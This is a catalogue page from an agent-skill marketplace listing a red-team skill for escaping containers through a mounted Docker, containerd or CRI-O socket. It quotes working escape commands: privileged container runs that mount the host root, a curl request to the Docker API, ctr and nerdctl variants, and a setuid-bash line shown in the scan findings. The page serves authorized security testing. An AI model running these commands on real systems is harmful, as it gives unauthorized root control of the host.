docker-socket-mount

docker-socket-mount is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 67 tokens per session (1,052 once invoked), scanned B, original, Apache-2.0.

A guide to escaping from a container when its Docker or containerd control socket is mounted inside. These sockets let processes create or control containers, which can provide root-level access to the host system.

In plain words
What is it for?
Checking container mounts, reviewing CI and GitOps runners, and validating whether a mounted Docker, containerd, or CRI-O socket permits host access.
Why use it?
It helps security testers identify a common container-isolation failure in build servers, deployment systems, and Docker-in-Docker setups. The guide explains why exposing the socket is equivalent to exposing host control.

Skill for Claude CodeCodex

About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,436 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/purpleailab/decepticon/docker-socket-mount
Any agent
npx skills add PurpleAILAB/Decepticon --skill docker-socket-mount
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for docker-socket-mount

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/docker-socket-mount.svg)](https://agentmods.dev/skills/purpleailab/decepticon/docker-socket-mount)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/docker-socket-mount"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/docker-socket-mount.svg" alt="Measured on agentmods" height="20"></a>
Per session 67 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,052 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00067 $0.01052
Opus 5 $0.00034 $0.00526
Sonnet 5 $0.00013 $0.00210
Haiku 4.5 $0.00007 $0.00105

Measured yesterday against content hash a858c69b0249, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade B, and why

docker-socket-mount scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

cp /host/bin/bash /host/tmp/.x; chroot /host chmod +s /tmp/.x

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

# Or use curl on the UNIX socket:
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md · 94 lines

How it starts

The opening of the file, as written. The whole thing — 94 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Docker / Containerd Socket Mount Escape

A container with /var/run/docker.sock or /run/containerd/containerd.sock mounted in is fully equivalent to root on the host. This is one of the most common findings in CI/CD environments.

Detect

ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock 2>&1 | grep -v 'No such'
mount | grep -E 'docker\.sock|containerd\.sock'
# CRI-O variant
ls -la /var/run/crio/crio.sock 2>&1

Exploit — Docker socket

# Launch a privileged container that mounts the host root
docker run --rm -it --privileged -v /:/host alpine chroot /host /bin/sh
# Done — you're root on the host.

# If `docker` binary isn't in your container, install it or talk to the API directly:
apk add docker-cli 2>/dev/null || apt-get install -y docker.io 2>/dev/null

# Or use curl on the UNIX socket:
curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Cmd":["chroot","/host","/bin/sh","-c","id > /host/tmp/owned"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  http://localhost/containers/create

Exploit — containerd socket

# ctr is the containerd CLI
ctr -a /run/containerd/containerd.sock images pull docker.io/library/alpine:latest
ctr -a /run/containerd/containerd.sock run --rm -t --privileged \
  --mount type=bind,src=/,dst=/host,options=rbind \
  docker.io/library/alpine:latest escape sh -c 'chroot /host'

# OR via crictl (often present where ctr isn't):
crictl --runtime-endpoint unix:///run/containerd/containerd.sock pull alpine
# crictl exec is more limited — fall back to API:
nerdctl --address /run/containerd/containerd.sock run --rm -it --privileged -v /:/host alpine chroot /host

Exploit — CRI-O socket

crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods
# Same pattern as containerd.

Common attack contexts

Context Why the socket is mounted
Jenkins/GitLab CI runners Build Docker images inside the build container
ArgoCD / Flux Run pre-/post-sync hooks that build images
Docker-in-Docker (DinD) in K8s Same — build pipelines, kaniko alternatives
Diagnostic sidecars Container-level metrics/log shippers
Buildkit daemon w/ ungated rootless socket Same primitive, less restricted env

Read the full file on GitHub · 94 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. yesterday First seen · 94 lines · 67 tokens per session scan B a858c69b0249

Subscribe to this mod's changes

docker-socket-mount is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,436 stars, last pushed 5d ago), licensed Apache-2.0. It adds 67 tokens to every session and 1,052 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (asks for root, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

analyzing-docker-container-forensics

Use when investigate compromised Docker containers by analyzing images, layers, volumes, logs, and runtime artifacts to identify malicious activity and evidence. Use when working with analyzing docker container forensics.

oyi77/1ai-skills · 45 tokens

analyzing-kubernetes-audit-logs

Use when parses Kubernetes API server audit logs (JSON lines) to detect exec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat detection rules from audit event patterns. Use when investigating Kubernetes cluster compromise or building k8s-specific SIEM…

oyi77/1ai-skills · 72 tokens

redteam-container-detail-pack

Domain routing and boundary guidance for authorized container and orchestration security testing, including Docker escape, Kubernetes privilege escalation, image vulnerabilities, and service mesh bypasses. Use when a task belongs to the container testing domain and needs scope, evidence, pivot, or exit criteria.

Unclecheng-li/DeepSec · 59 tokens

k8s-security-policies

Implement Kubernetes security policies including NetworkPolicy, PodSecurityPolicy, and RBAC for production-grade security. Use when securing Kubernetes clusters, implementing network isolation, or enforcing pod security standards.

Harmeet10000/skills · 43 tokens

helm-chart-scaffolding

Design, organize, and manage Helm charts for templating and packaging Kubernetes applications with reusable configurations. Use when creating Helm charts, packaging Kubernetes applications, or implementing templated deployments.

Harmeet10000/skills · 41 tokens

redamon-testing

How RedAmon tests actually run and how to author them: the per-file Docker gate, the unit/integration/live tiers, and the failure modes that make a green run a lie. Trigger: editing any test.py, .test.ts(x) or tests/.sh; a test that is red, skipped or xfailed; a request to "run the tests", "make it green" or check…

samugit83/redamon · 114 tokens